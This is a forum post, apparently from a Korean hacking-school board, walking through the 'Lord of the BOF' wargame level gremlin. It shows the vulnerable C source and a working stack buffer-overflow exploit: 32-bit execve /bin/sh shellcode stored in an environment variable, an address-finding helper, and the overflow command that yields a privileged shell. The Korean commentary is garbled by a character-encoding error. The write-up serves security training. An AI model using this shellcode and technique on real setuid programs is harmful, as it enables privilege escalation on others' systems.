1617, 1/81 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   ÇØÅ·ÀßÇϰí½Í´Ù
   http://¾øÀ½
   gremlin.txt (3.9 KB), Download : 20     [¿À¸¥ÂÊ ¹öư ´­·¯ ´Ù¿î ¹Þ±â]
   [L.O.B ¿øÁ¤´ë] - gremlin

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=8604 [º¹»ç]


Connecting to 192.168.0.22:23...
Connection established.
To escape to local shell, press 'Ctrl+Alt+]'.
                                            _______________________
  _______________________-------------------                       `\
/:--__                                                              |
||< > |                                   ___________________________/
| \__/_________________-------------------                         |
|                                                                  |
|        The Lord of the BOF : The Fellowship of the BOF, 2010    |
|                                                                  |
|                                                                  |
  |       [enter to the dungeon]                                    |
  |       gate : gate                                                |
  |                                                                  |
  |       [RULE]                                                     |
   |      - do not use local root exploit                             |
   |      - do not use LD_PRELOAD to my-pass                          |
   |      - do not use single boot                    [h4ck3rsch001] |
  |                                              ____________________|_
  |  ___________________-------------------------                      `\
  |/`--_                                                                 |
  ||[ ]||                                            ___________________/
   \===/___________________--------------------------


login: gremlin
Password:
Last login: Tue Jul  1 12:28:27 from 192.168.0.20
[gremlin@localhost gremlin]$ bash2
[gremlin@localhost gremlin]$ ls -al
total 52
drwx------    2 gremlin  gremlin      4096 Jul  1 12:28 .
drwxr-xr-x   25 root     root         4096 Mar 30  2010 ..
-rw-------    1 gremlin  gremlin      5215 Jul  1 12:28 .bash_history
-rw-r--r--    1 gremlin  gremlin        24 Feb 26  2010 .bash_logout
-rw-r--r--    1 gremlin  gremlin       230 Feb 26  2010 .bash_profile
-rw-r--r--    1 gremlin  gremlin       124 Feb 26  2010 .bashrc
-rwxr-xr-x    1 gremlin  gremlin       333 Feb 26  2010 .emacs
-rw-r--r--    1 gremlin  gremlin      3394 Feb 26  2010 .screenrc
-rwsr-sr-x    1 cobolt   cobolt      11970 Feb 26  2010 cobolt
-rw-r--r--    1 gremlin  gremlin       291 Mar 29  2010 cobolt.c
[gremlin@localhost gremlin]$ cat cobolt.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - cobolt
        - small buffer
*/

int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

==================================
gremlinÀÇ Äڵ带 ºÐ¼®Çϸé buffer º¯¼ö°¡ 16¹ÙÀÌÆ®¹Û¿¡ ¾ø´Ù.
ÀϹÝÀûÀÎ ½©ÄÚµå´Â ¿©±â¿¡¼­ ÈçÈ÷ »ç¿ëÇÏ´Â °Ç 25¹ÙÀÌÆ®´Ï
½©Äڵ带 buffer¾È¿¡ ³ÖÀ» °ø°£ÀÌ ¾ø´Ù.
±×·¸´Ù°í ¹æ¹ýÀÌ ¾ø´Â °Ç ¾Æ´Ï°í... ȯ°æº¯¼ö°¡ ÀÖ´Ù.
¸®´ª½º¿¡¼­ ȯ°æº¯¼ö(environment variable)´Â
½Ã½ºÅÛÀ̳ª ÇÁ·Î¼¼½º°¡ µ¿ÀÛÇÒ ¶§ Âü°íÇÏ´Â ¼³Á¤°ªµéÀ» ÀǹÌÇÑ´Ù.
½±°Ô ¸»ÇØ, ÇÁ·Î±×·¥µéÀÌ µ¿ÀÛÇÏ´Â µ¥
ÇÊ¿äÇÑ ¿©·¯ Á¤º¸µéÀ» ÀúÀåÇÏ´Â º¯¼öµéÀÌ´Ù.
==================================

[gremlin@localhost gremlin]$ export SHELLCODE=$(python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
[gremlin@localhost gremlin]$ vi shellcode.c
[gremlin@localhost gremlin]$ cat shellcode.c
#include <stdio.h>

int main(void)
{
    printf("%p\n", getenv("SHELLCODE"));
    return 0;
}
[gremlin@localhost gremlin]$ gcc -o shellcode shellcode.c
[gremlin@localhost gremlin]$ ./shellcode
0xbffffe61
[gremlin@localhost gremlin]$ ls                
cobolt  cobolt.c  shellcode  shellcode.c
[gremlin@localhost gremlin]$ ./cobolt `python -c 'print "\x90"*20+"\x61\xfe\xff\xbf"'`
a©­ÿ¢¯
bash$ my-pass
euid = 502
[???????????????????]
bash$

  Hit : 960     Date : 2025/07/02 04:19